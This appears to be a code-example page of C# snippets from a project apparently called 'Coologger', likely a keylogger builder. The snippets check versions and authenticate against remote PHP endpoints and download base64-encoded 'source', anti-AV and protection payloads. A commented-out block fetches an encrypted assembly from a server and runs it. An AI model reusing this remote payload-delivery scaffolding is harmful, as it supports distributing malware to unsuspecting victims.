Exemplo n.º 1
0
        public bool CheckVersion()
        {
            string server = RemoteSettings.GrabSetting("getVersion.php");

            if (Convert.ToDouble(server) > Configuration.LocalVersion)
            {
                MessageBox.Show("Out of date. Please Update.");
                return(false);
            }
            return(true);
        }
Exemplo n.º 2
0
 private void Form3_Load(object sender, EventArgs e)
 {
     /*string input =
      *  System.IO.File.ReadAllText(
      *      @"C:\Users\Admin\Documents\Visual Studio 2010\Projects\Coologger\Coologger\bin\Debug\source.txt");
      * System.IO.File.WriteAllText(
      *  @"C:\Users\Admin\Documents\Visual Studio 2010\Projects\Coologger\Coologger\bin\Debug\source2.txt",
      *  Convert.ToBase64String(Encoding.Default.GetBytes(input)));*/
     try
     {
         Label1.Text = RemoteSettings.GrabSetting("news.php");
     }
     catch
     {
     }
 }
Exemplo n.º 3
0
 public bool Login(string hid)
 {
     if (Global.Form == Instance)
     {
         Global.HID = hid;
         string ret = RemoteSettings.GrabSetting("getAuth.php");
         if (string.IsNullOrEmpty(ret))
         {
             return(false);
         }
         MessageBox.Show("Please hold while the authentication system works some magic.\r\nThis can take a while depending on your internet connection.\r\nClick OK to begin.");
         Global.Source        = Encoding.Default.GetString(Convert.FromBase64String(RemoteSettings.GrabSetting("getSource.php")));
         Global.SourceAv      = Encoding.Default.GetString(Convert.FromBase64String(RemoteSettings.GrabSetting("getSourceAv.php")));
         Global.SourceProtect = Encoding.Default.GetString(Convert.FromBase64String(RemoteSettings.GrabSetting("getSourceProtect.php")));
         Global.Sourcea       = Encoding.Default.GetString(Convert.FromBase64String(RemoteSettings.GrabSetting("getSourcea.php")));
         return(true);
     }
     return(false);
 }
Exemplo n.º 4
0
        static void Main()
        {
            if (!new HostChecker(true).IsValid())
            {
                CrackerCheck.FlagCracker();
            }
            if (CrackerCheck.IsCracker())
            {
                Console.WriteLine("Cracker!");
            }

            HeartBeat hb      = new HeartBeat();
            Thread    oThread = new Thread(hb.Beat);

            oThread.Start();

            /*
             * Assembly encASM = new EncryptedAssembly(RemoteSettings.GrabSetting("getCute.php")).GetAssembly();
             * Type type = encASM.GetType("CooLogger");
             * Activator.CreateInstance(type);*/

            Console.WriteLine(new FileHasher(Configuration.RunningLocation).GetMD5());
            Console.WriteLine("Version: " + RemoteSettings.GrabSetting("getVersion.php"));
        }
Exemplo n.º 5
0
 public static string GetEncryptionKey()
 {
     return(EncryptionKey + RemoteSettings.GrabSetting("getKey.php"));
 }